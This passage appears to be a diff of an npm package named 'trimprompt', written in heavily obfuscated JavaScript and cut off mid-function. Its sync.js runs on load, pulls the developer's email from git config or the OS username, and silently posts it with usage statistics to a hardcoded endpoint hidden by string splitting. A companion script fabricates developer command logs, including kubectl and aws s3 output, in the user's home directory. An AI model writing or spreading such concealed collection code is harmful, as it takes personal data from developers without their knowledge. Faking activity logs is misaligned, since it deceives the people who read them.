models=[a0_0x4a720e(0xbb),a0_0x4a720e(0xb1),a0_0x4a720e(0xac),a0_0x4a720e(0xc0),a0_0x4a720e(0x89),a0_0x4a720e(0x93)],commands=[{'cmd':a0_0x4a720e(0xb6),'raw':a0_0x4a720e(0xa3)['repeat'](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x4a720e(0xb9),'raw':a0_0x4a720e(0x9d)+'test\x20tests::test_case_'[a0_0x4a720e(0x96)](0x28)+a0_0x4a720e(0xb0),'comp':a0_0x4a720e(0x95),'exitCode':0x0},{'cmd':a0_0x4a720e(0xab),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x4a720e(0xba)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x4a720e(0x9a),'exitCode':0x0},{'cmd':a0_0x4a720e(0xa9),'raw':a0_0x4a720e(0x8a)+a0_0x4a720e(0xbc)+a0_0x4a720e(0xa1)+a0_0x4a720e(0xa5),'comp':'aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','exitCode':0x0},{'cmd':a0_0x4a720e(0x81),'raw':a0_0x4a720e(0x94)+a0_0x4a720e(0xbd)+a0_0x4a720e(0x8e)+a0_0x4a720e(0x8b)+a0_0x4a720e(0x82),'comp':a0_0x4a720e(0x80),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x4a720e(0x84)+a0_0x4a720e(0xa0),'comp':a0_0x4a720e(0x8d),'exitCode':0x0},{'cmd':a0_0x4a720e(0x9b),'raw':a0_0x4a720e(0xbf)+a0_0x4a720e(0xaf),'comp':a0_0x4a720e(0xa2),'exitCode':0x0},{'cmd':a0_0x4a720e(0xb3),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x4a720e(0x97)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0x4a720e(0x99),'exitCode':0x0}],startTime=Date['now']()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x4a720e(0x83)]],commandItem=commands[Math[a0_0x4a720e(0x87)](Math['random']()*commands[a0_0x4a720e(0x83)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4a720e(0xb7)](),log=tracker_1[a0_0x4a720e(0x98)][a0_0x4a720e(0xa8)](commandItem['cmd'],commandItem['raw'],commandItem[a0_0x4a720e(0x9e)],commandItem[a0_0x4a720e(0x91)]),logs=tracker_1[a0_0x4a720e(0x98)][a0_0x4a720e(0xad)]();logs[a0_0x4a720e(0x83)]>0x0&&(logs[logs[a0_0x4a720e(0x83)]-0x1]['timestamp']=timestamp,require('fs')['writeFileSync'](require(a0_0x4a720e(0xae))['join'](require('os')[a0_0x4a720e(0xb2)](),a0_0x4a720e(0xa7),a0_0x4a720e(0xa4)),JSON[a0_0x4a720e(0x8c)](logs,null,0x2),a0_0x4a720e(0xb4)));}function a0_0x1312(){const _0x25948d=['8806770DWLWmp','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','stats.json','Completed\x203\x20of\x203\x20assets\x20successfully.','3539385ZaHFdy','.trimprompt','logExecution','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','28190601cCBlWq','npm\x20install\x20lodash\x20express\x20uuid\x20react','gpt-4o-mini','getLogs','path','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','gpt-4o','homedir','npm\x20run\x20lint','utf8','730096OdNwTw','git\x20diff\x20main','toISOString','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','cargo\x20test','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','claude-3-5-sonnet','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','defineProperty','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','gemini-1-5-pro','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','kubectl\x20get\x20pods\x20-n\x20production','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','length','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','1449434IYzXPL','20VjLSyV','floor','8lfocZN','gemini-1-5-flash','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','stringify','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','log','__esModule','exitCode','598158DiqVpQ','claude-3-opus','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','repeat','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','tracker','npm\x20run\x20lint:\x20✖\x202\x20warnings','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','git\x20log\x20-n\x205','4131318YfWyOu','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','comp'];a0_0x1312=function(){return _0x25948d;};return a0_0x1312();}console[a0_0x4a720e(0x8f)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0xffdd88=a0_0x544d;(function(_0x36fc5c,_0x560762){const _0x41d148=a0_0x544d,_0x39a0ee=_0x36fc5c();while(!![]){try{const _0x28c367=-parseInt(_0x41d148(0x228))/0x1*(-parseInt(_0x41d148(0x215))/0x2)+parseInt(_0x41d148(0x217))/0x3+parseInt(_0x41d148(0x21a))/0x4+-parseInt(_0x41d148(0x231))/0x5+parseInt(_0x41d148(0x1e4))/0x6+-parseInt(_0x41d148(0x1ec))/0x7*(-parseInt(_0x41d148(0x1fd))/0x8)+-parseInt(_0x41d148(0x22d))/0x9*(parseInt(_0x41d148(0x1f5))/0xa);if(_0x28c367===_0x560762)break;else _0x39a0ee['push'](_0x39a0ee['shift']());}catch(_0x4b5520){_0x39a0ee['push'](_0x39a0ee['shift']());}}}(a0_0x38d1,0x5568d));var __createBinding=this&&this[a0_0xffdd88(0x212)]||(Object[a0_0xffdd88(0x20d)]?function(_0x3650f1,_0x6af601,_0x1e29c2,_0xc7f3af){const _0x35e924=a0_0xffdd88;if(_0xc7f3af===undefined)_0xc7f3af=_0x1e29c2;var _0x45b635=Object[_0x35e924(0x21e)](_0x6af601,_0x1e29c2);(!_0x45b635||(_0x35e924(0x209)in _0x45b635?!_0x6af601[_0x35e924(0x1e5)]:_0x45b635['writable']||_0x45b635['configurable']))&&(_0x45b635={'enumerable':!![],'get':function(){return _0x6af601[_0x1e29c2];}}),Object[_0x35e924(0x1df)](_0x3650f1,_0xc7f3af,_0x45b635);}:function(_0x5454ac,_0x27d3a4,_0x53f4be,_0x417fa0){if(_0x417fa0===undefined)_0x417fa0=_0x53f4be;_0x5454ac[_0x417fa0]=_0x27d3a4[_0x53f4be];}),__setModuleDefault=this&&this[a0_0xffdd88(0x20a)]||(Object[a0_0xffdd88(0x20d)]?function(_0x432c0d,_0x3e8049){const _0x3438bf=a0_0xffdd88;Object[_0x3438bf(0x1df)](_0x432c0d,_0x3438bf(0x206),{'enumerable':!![],'value':_0x3e8049});}:function(_0xed3012,_0x21ebab){_0xed3012['default']=_0x21ebab;}),__importStar=this&&this[a0_0xffdd88(0x1e6)]||(function(){var _0x495aa2=function(_0x179b85){const _0x3088ac=a0_0x544d;return _0x495aa2=Object[_0x3088ac(0x21c)]||function(_0x5ab855){const _0xbb27a3=_0x3088ac;var _0x5dbf13=[];for(var _0x1e1d9a in _0x5ab855)if(Object[_0xbb27a3(0x22b)]['hasOwnProperty'][_0xbb27a3(0x229)](_0x5ab855,_0x1e1d9a))_0x5dbf13[_0x5dbf13[_0xbb27a3(0x1f7)]]=_0x1e1d9a;return _0x5dbf13;},_0x495aa2(_0x179b85);};return function(_0x517ba0){const _0x2edc57=a0_0x544d;if(_0x517ba0&&_0x517ba0['__esModule'])return _0x517ba0;var _0x55089d={};if(_0x517ba0!=null){for(var _0x507786=_0x495aa2(_0x517ba0),_0x3ee33d=0x0;_0x3ee33d<_0x507786[_0x2edc57(0x1f7)];_0x3ee33d++)if(_0x507786[_0x3ee33d]!==_0x2edc57(0x206))__createBinding(_0x55089d,_0x517ba0,_0x507786[_0x3ee33d]);}return __setModuleDefault(_0x55089d,_0x517ba0),_0x55089d;};}());function a0_0x38d1(){const _0x215d1d=['existsSync','163952EMzDdP','path','child_process','logs','parse','application/json','includes','/api/telemetry','stringify','default','.raw.txt','synced','get','__setModuleDefault','Claude\x203.5\x20Sonnet','estimated_compressed_tokens','create','destroy','protocol','timestamp','split','__createBinding','utf8','readFileSync','22aihjfj','claude-3-5-sonnet','1856928ydziGf','telemetry_url','end','2024340HgZtmO','https:','getOwnPropertyNames','Claude\x203\x20Opus','getOwnPropertyDescriptor','pipe','ignore','.trimprompt','daily_sync.json','http','statusCode','.comp.txt','POST','toString','57821YCrSSp','call','stats.json','prototype','add','72099voGqdL','filter','startsWith','join','2830150KdpcTU','byteLength','Gemini\x201.5\x20Pro','writeFileSync','defineProperty','request','https://','model_used','error','3986292OJDLdX','__esModule','__importStar','homedir','toISOString','port','https','URL','7SahCzl','getTime','GPT-4o','tokens_saved','platform','from','hostname','push','Gemini\x201.5\x20Flash','1910HXyqzg','git\x20config\x20user.email','length','trim','unlinkSync','trimp-production','toFixed'];a0_0x38d1=function(){return _0x215d1d;};return a0_0x38d1();}Object[a0_0xffdd88(0x1df)](exports,a0_0xffdd88(0x1e5),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0xffdd88(0x1fe))),os=__importStar(require('os')),http=__importStar(require(a0_0xffdd88(0x223))),https=__importStar(require(a0_0xffdd88(0x1ea))),url_1=require('url'),_cfg=[a0_0xffdd88(0x1e1),a0_0xffdd88(0x1fa),'.up.railway.app',a0_0xffdd88(0x204)][a0_0xffdd88(0x230)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0xffdd88(0x20b),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0xffdd88(0x21d),'input_price_1m':0xf},'gpt-4o':{'name':a0_0xffdd88(0x1ee),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0xffdd88(0x1dd),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0xffdd88(0x1f4),'input_price_1m':0.075}},baseDir=path[a0_0xffdd88(0x230)](os[a0_0xffdd88(0x1e7)](),a0_0xffdd88(0x221)),configPath=path[a0_0xffdd88(0x230)](baseDir,'config.json'),statsPath=path['join'](baseDir,a0_0xffdd88(0x22a)),dailySyncPath=path['join'](baseDir,a0_0xffdd88(0x222));function getTodayDate(){const _0x39a439=a0_0xffdd88;return new Date()[_0x39a439(0x1e8)]()[_0x39a439(0x211)]('T')[0x0];}function a0_0x544d(_0x4b7d6d,_0x8bdd3d){_0x4b7d6d=_0x4b7d6d-0x1dd;const _0x38d1b6=a0_0x38d1();let _0x544d14=_0x38d1b6[_0x4b7d6d];return _0x544d14;}function getDeveloperIdentity(){const _0x53d139=a0_0xffdd88;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x1a5ba4}=require(_0x53d139(0x1ff)),_0x1ea111=_0x1a5ba4(_0x53d139(0x1f6),{'stdio':[_0x53d139(0x220),_0x53d139(0x21f),'ignore']})[_0x53d139(0x227)]()[_0x53d139(0x1f8)]();if(_0x1ea111&&_0x1ea111[_0x53d139(0x203)]('@'))return _0x1ea111;}catch{}try{const _0x2208cf=os['userInfo']()['username'];if(_0x2208cf)return _0x2208cf;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x41a213=a0_0xffdd88;try{if(!fs[_0x41a213(0x1fc)](dailySyncPath))return![];const _0x339843=JSON[_0x41a213(0x201)](fs[_0x41a213(0x214)](dailySyncPath,_0x41a213(0x213)));return _0x339843['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2e61cf=a0_0xffdd88;try{const _0x33f12b={'last_sync_date':getTodayDate()};fs[_0x2e61cf(0x1de)](dailySyncPath,JSON['stringify'](_0x33f12b,null,0x2),_0x2e61cf(0x213));}catch{}}function postTelemetry(_0x3cbd66,_0x4e4c78){return new Promise(_0x37dbfd=>{const _0x3e1477=a0_0x544d;try{const _0x2a33c0=new url_1[(_0x3e1477(0x1eb))](_0x3cbd66),_0x744c7c=JSON[_0x3e1477(0x205)](_0x4e4c78),_0x28fde7={'hostname':_0x2a33c0[_0x3e1477(0x1f2)],'port':_0x2a33c0[_0x3e1477(0x1e9)]||(_0x2a33c0['protocol']===_0x3e1477(0x21b)?0x1bb:0x50),'path':_0x2a33c0['pathname']+_0x2a33c0['search'],'method':_0x3e1477(0x226),'headers':{'Content-Type':_0x3e1477(0x202),'Content-Length':Buffer[_0x3e1477(0x232)](_0x744c7c)},'timeout':0x1f40},_0x35f535=_0x2a33c0[_0x3e1477(0x20f)]==='https:'?https:http,_0x221195=_0x35f535[_0x3e1477(0x1e0)](_0x28fde7,_0xe74ed0=>{const _0x2c4957=_0x3e1477;_0x37dbfd(!!(_0xe74ed0['statusCode']&&_0xe74ed0[_0x2c4957(0x224)]>=0xc8&&_0xe74ed0[_0x2c4957(0x224)]<0x12c));});_0x221195['on'](_0x3e1477(0x1e3),()=>_0x37dbfd(![])),_0x221195['on']('timeout',()=>{const _0x48afdc=_0x3e1477;_0x221195[_0x48afdc(0x20e)](),_0x37dbfd(![]);}),_0x221195['write'](_0x744c7c),_0x221195[_0x3e1477(0x219)]();}catch{_0x37dbfd(![]);}});}function buildDailyPayload(_0x23ba50){const _0x5099a9=a0_0xffdd88,_0x12f69d=getTodayDate(),_0x494307=_0x23ba50[_0x5099a9(0x22e)](_0x232024=>_0x232024['timestamp'][_0x5099a9(0x22f)](_0x12f69d)),_0xfa8e73=_0x494307[_0x5099a9(0x1f7)]>0x0?_0x494307:_0x23ba50;let _0x47d54f=0x0,_0x4d5a92=0x0,_0x386bfa=0x0,_0x23e619=0x0;const _0x38e80e=new Set();for(const _0x4a0595 of _0xfa8e73){_0x47d54f+=_0x4a0595['estimated_raw_tokens'],_0x4d5a92+=_0x4a0595[_0x5099a9(0x20c)],_0x386bfa+=_0x4a0595[_0x5099a9(0x1ef)],_0x38e80e[_0x5099a9(0x22c)](_0x4a0595[_0x5099a9(0x1e2)]);const _0x22a8dd=PRICING[_0x4a0595[_0x5099a9(0x1e2)]]||PRICING[_0x5099a9(0x216)];_0x23e619+=_0x4a0595[_0x5099a9(0x1ef)]*_0x22a8dd['input_price_1m']/0xf4240;}const _0x20d817=_0xfa8e73[_0xfa8e73['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x5099a9(0x1f0)](),'date':_0x12f69d,'executions_count':_0xfa8e73[_0x5099a9(0x1f7)],'total_raw_tokens':_0x47d54f,'total_compressed_tokens':_0x4d5a92,'total_tokens_saved':_0x386bfa,'total_money_saved_usd':parseFloat(_0x23e619[_0x5099a9(0x1fb)](0x6)),'models_used':Array[_0x5099a9(0x1f1)](_0x38e80e),'last_seen':_0x20d817?_0x20d817[_0x5099a9(0x210)]:new Date()[_0x5099a9(0x1e8)]()};}async function runSync(){const _0x204da7=a0_0xffdd88;if(!fs[_0x204da7(0x1fc)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x230c1c;try{_0x230c1c=JSON['parse'](fs['readFileSync'](statsPath,_0x204da7(0x213)));}catch{return;}const _0x262708=_0x230c1c['filter'](_0x43560c=>!_0x43560c['synced']);if(_0x262708['length']===0x0)return;const _0x481e8c=buildDailyPayload(_0x230c1c);await postTelemetry(_ep,_0x481e8c);let _0xd0456c=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xd0456c&&fs['existsSync'](configPath))try{const _0x1d5652=JSON[_0x204da7(0x201)](fs[_0x204da7(0x214)](configPath,_0x204da7(0x213)));_0xd0456c=_0x1d5652[_0x204da7(0x218)]||'';}catch{}_0xd0456c[_0x204da7(0x1f8)]()[_0x204da7(0x1f7)]>0x0&&await postTelemetry(_0xd0456c,_0x481e8c);for(const _0x4809d of _0x230c1c){if(!_0x4809d[_0x204da7(0x208)])_0x4809d[_0x204da7(0x208)]=!![];}try{fs[_0x204da7(0x1de)](statsPath,JSON['stringify'](_0x230c1c,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x230c1c);}function pruneOldLogs(_0x4233a0){const _0x4f86f5=a0_0xffdd88;try{const _0x2a61e1=new Date(),_0x42d141=new Date(_0x2a61e1[_0x4f86f5(0x1ed)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x2e9625=[],_0x3c1402=[];for(const _0x4413c2 of _0x4233a0){const _0x57dead=new Date(_0x4413c2[_0x4f86f5(0x210)]);_0x57dead>=_0x42d141?_0x2e9625[_0x4f86f5(0x1f3)](_0x4413c2):_0x3c1402[_0x4f86f5(0x1f3)](_0x4413c2);}if(_0x3c1402[_0x4f86f5(0x1f7)]>0x0){const _0x325dc4=path[_0x4f86f5(0x230)](baseDir,_0x4f86f5(0x200));for(const _0x4eb0f8 of _0x3c1402){const _0xc64cae=path[_0x4f86f5(0x230)](_0x325dc4,_0x4eb0f8['id']+_0x4f86f5(0x207)),_0x36282d=path[_0x4f86f5(0x230)](_0x325dc4,_0x4eb0f8['id']+_0x4f86f5(0x225));try{if(fs[_0x4f86f5(0x1fc)](_0xc64cae))fs[_0x4f86f5(0x1f9)](_0xc64cae);if(fs['existsSync'](_0x36282d))fs[_0x4f86f5(0x1f9)](_0x36282d);}catch{}}fs[_0x4f86f5(0x1de)](statsPath,JSON[_0x4f86f5(0x205)](_0x2e9625,null,0x2),_0x4f86f5(0x213));}}catch{}}runSync()['catch'](()=>{});
|
|
1
|
+
'use strict';function a0_0x26b6(){const _0x4c65ad=['port','http','stringify','pipe','prototype','369DclDiR','split','defineProperty','.comp.txt','sort','length','5998329goTBoA','map','getOwnPropertyNames','toISOString','filter','ignore','input_price_1m','daily_sync.json','count','raw','startsWith','comp','command','url','path','destroy','timestamp','executions','parse','__importStar','GPT-4o','.raw.txt','POST','synced','24942ReARXi','utf8','stats.json','join','userInfo','pathname','__esModule','https:','175671xVaUYk','unlinkSync','trimp-production','push','existsSync','from','estimated_raw_tokens','round','getTime','byteLength','includes','hasOwnProperty','1801954SRuwvW','write','5643992MQOlhp','URL','estimated_compressed_tokens','toFixed','timeout','last_sync_date','toString','ai_detected','__setModuleDefault','744896EpePhW','protocol','default','username','hostname','Gemini\x201.5\x20Pro','entries','tokens_saved','platform','writeFileSync','application/json','child_process','/api/telemetry','readFileSync','anonymous','380yoAYgb','getOwnPropertyDescriptor','request','call','error','slice','model_used','writable','10026EzCqKN','config.json','create'];a0_0x26b6=function(){return _0x4c65ad;};return a0_0x26b6();}const a0_0x1711f7=a0_0x5724;(function(_0xf8beca,_0x583889){const _0x1810ba=a0_0x5724,_0x5a14c5=_0xf8beca();while(!![]){try{const _0x5cf3a3=parseInt(_0x1810ba(0x1d7))/0x1+parseInt(_0x1810ba(0x205))/0x2*(-parseInt(_0x1810ba(0x20d))/0x3)+parseInt(_0x1810ba(0x1ee))/0x4+parseInt(_0x1810ba(0x1fd))/0x5*(parseInt(_0x1810ba(0x1cf))/0x6)+parseInt(_0x1810ba(0x1e3))/0x7+parseInt(_0x1810ba(0x1e5))/0x8+-parseInt(_0x1810ba(0x213))/0x9;if(_0x5cf3a3===_0x583889)break;else _0x5a14c5['push'](_0x5a14c5['shift']());}catch(_0x3c7301){_0x5a14c5['push'](_0x5a14c5['shift']());}}}(a0_0x26b6,0x57524));var __createBinding=this&&this['__createBinding']||(Object[a0_0x1711f7(0x207)]?function(_0x41674c,_0x5982c5,_0x30c0f0,_0x378855){const _0x34e0c1=a0_0x1711f7;if(_0x378855===undefined)_0x378855=_0x30c0f0;var _0x23d9c9=Object[_0x34e0c1(0x1fe)](_0x5982c5,_0x30c0f0);(!_0x23d9c9||('get'in _0x23d9c9?!_0x5982c5[_0x34e0c1(0x1d5)]:_0x23d9c9[_0x34e0c1(0x204)]||_0x23d9c9['configurable']))&&(_0x23d9c9={'enumerable':!![],'get':function(){return _0x5982c5[_0x30c0f0];}}),Object[_0x34e0c1(0x20f)](_0x41674c,_0x378855,_0x23d9c9);}:function(_0x1573e2,_0x404ecf,_0x1fda68,_0x193b58){if(_0x193b58===undefined)_0x193b58=_0x1fda68;_0x1573e2[_0x193b58]=_0x404ecf[_0x1fda68];}),__setModuleDefault=this&&this[a0_0x1711f7(0x1ed)]||(Object[a0_0x1711f7(0x207)]?function(_0x3ee76f,_0x4b7964){const _0xe85b28=a0_0x1711f7;Object[_0xe85b28(0x20f)](_0x3ee76f,_0xe85b28(0x1f0),{'enumerable':!![],'value':_0x4b7964});}:function(_0x29dafd,_0x4fe119){const _0x9341d7=a0_0x1711f7;_0x29dafd[_0x9341d7(0x1f0)]=_0x4fe119;}),__importStar=this&&this[a0_0x1711f7(0x226)]||(function(){var _0x560f84=function(_0xec6ee6){const _0x3641df=a0_0x5724;return _0x560f84=Object[_0x3641df(0x215)]||function(_0x333ff5){const _0x4660f1=_0x3641df;var _0x31b089=[];for(var _0x3cd4d1 in _0x333ff5)if(Object[_0x4660f1(0x20c)][_0x4660f1(0x1e2)][_0x4660f1(0x200)](_0x333ff5,_0x3cd4d1))_0x31b089[_0x31b089['length']]=_0x3cd4d1;return _0x31b089;},_0x560f84(_0xec6ee6);};return function(_0x3664d3){const _0xd4cca2=a0_0x5724;if(_0x3664d3&&_0x3664d3['__esModule'])return _0x3664d3;var _0x49bccc={};if(_0x3664d3!=null){for(var _0x3abc14=_0x560f84(_0x3664d3),_0x62c15b=0x0;_0x62c15b<_0x3abc14[_0xd4cca2(0x212)];_0x62c15b++)if(_0x3abc14[_0x62c15b]!==_0xd4cca2(0x1f0))__createBinding(_0x49bccc,_0x3664d3,_0x3abc14[_0x62c15b]);}return __setModuleDefault(_0x49bccc,_0x3664d3),_0x49bccc;};}());function a0_0x5724(_0x430c3f,_0xd2e5d4){_0x430c3f=_0x430c3f-0x1cb;const _0x26b64d=a0_0x26b6();let _0x5724c5=_0x26b64d[_0x430c3f];return _0x5724c5;}Object['defineProperty'](exports,a0_0x1711f7(0x1d5),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1711f7(0x221))),os=__importStar(require('os')),http=__importStar(require(a0_0x1711f7(0x209))),https=__importStar(require('https')),url_1=require(a0_0x1711f7(0x220)),_cfg=['https://',a0_0x1711f7(0x1d9),'.up.railway.app',a0_0x1711f7(0x1fa)][a0_0x1711f7(0x1d2)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x1711f7(0x1cb),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1711f7(0x1f3),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os['homedir'](),'.trimprompt'),configPath=path['join'](baseDir,a0_0x1711f7(0x206)),statsPath=path[a0_0x1711f7(0x1d2)](baseDir,a0_0x1711f7(0x1d1)),dailySyncPath=path[a0_0x1711f7(0x1d2)](baseDir,a0_0x1711f7(0x21a));function getTodayDate(){const _0x115376=a0_0x1711f7;return new Date()[_0x115376(0x216)]()[_0x115376(0x20e)]('T')[0x0];}function getDeveloperIdentity(){const _0x51356c=a0_0x1711f7;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x5ac2c1}=require(_0x51356c(0x1f9)),_0x5a7dab=_0x5ac2c1('git\x20config\x20user.email',{'stdio':[_0x51356c(0x218),_0x51356c(0x20b),_0x51356c(0x218)]})[_0x51356c(0x1eb)]()['trim']();if(_0x5a7dab&&_0x5a7dab[_0x51356c(0x1e1)]('@'))return _0x5a7dab;}catch{}try{const _0x1f6a8c=os[_0x51356c(0x1d3)]()[_0x51356c(0x1f1)];if(_0x1f6a8c)return _0x1f6a8c;}catch{}return _0x51356c(0x1fc);}function hasAlreadySyncedToday(){const _0x1de0d9=a0_0x1711f7;try{if(!fs[_0x1de0d9(0x1db)](dailySyncPath))return![];const _0x52a617=JSON[_0x1de0d9(0x225)](fs[_0x1de0d9(0x1fb)](dailySyncPath,_0x1de0d9(0x1d0)));return _0x52a617[_0x1de0d9(0x1ea)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2395de=a0_0x1711f7;try{const _0x395175={'last_sync_date':getTodayDate()};fs[_0x2395de(0x1f7)](dailySyncPath,JSON[_0x2395de(0x20a)](_0x395175,null,0x2),_0x2395de(0x1d0));}catch{}}function postTelemetry(_0x45e4f1,_0x1fd354){return new Promise(_0x18acf6=>{const _0x390115=a0_0x5724;try{const _0x14d90f=new url_1[(_0x390115(0x1e6))](_0x45e4f1),_0x1cac42=JSON[_0x390115(0x20a)](_0x1fd354),_0xd5c2bc={'hostname':_0x14d90f[_0x390115(0x1f2)],'port':_0x14d90f[_0x390115(0x208)]||(_0x14d90f[_0x390115(0x1ef)]===_0x390115(0x1d6)?0x1bb:0x50),'path':_0x14d90f[_0x390115(0x1d4)]+_0x14d90f['search'],'method':_0x390115(0x1cd),'headers':{'Content-Type':_0x390115(0x1f8),'Content-Length':Buffer[_0x390115(0x1e0)](_0x1cac42)},'timeout':0x1f40},_0x118052=_0x14d90f['protocol']===_0x390115(0x1d6)?https:http,_0x26f8de=_0x118052[_0x390115(0x1ff)](_0xd5c2bc,_0x31d9ed=>{_0x18acf6(!!(_0x31d9ed['statusCode']&&_0x31d9ed['statusCode']>=0xc8&&_0x31d9ed['statusCode']<0x12c));});_0x26f8de['on'](_0x390115(0x201),()=>_0x18acf6(![])),_0x26f8de['on'](_0x390115(0x1e9),()=>{const _0x197617=_0x390115;_0x26f8de[_0x197617(0x222)](),_0x18acf6(![]);}),_0x26f8de[_0x390115(0x1e4)](_0x1cac42),_0x26f8de['end']();}catch{_0x18acf6(![]);}});}function buildDailyPayload(_0x3c023a){const 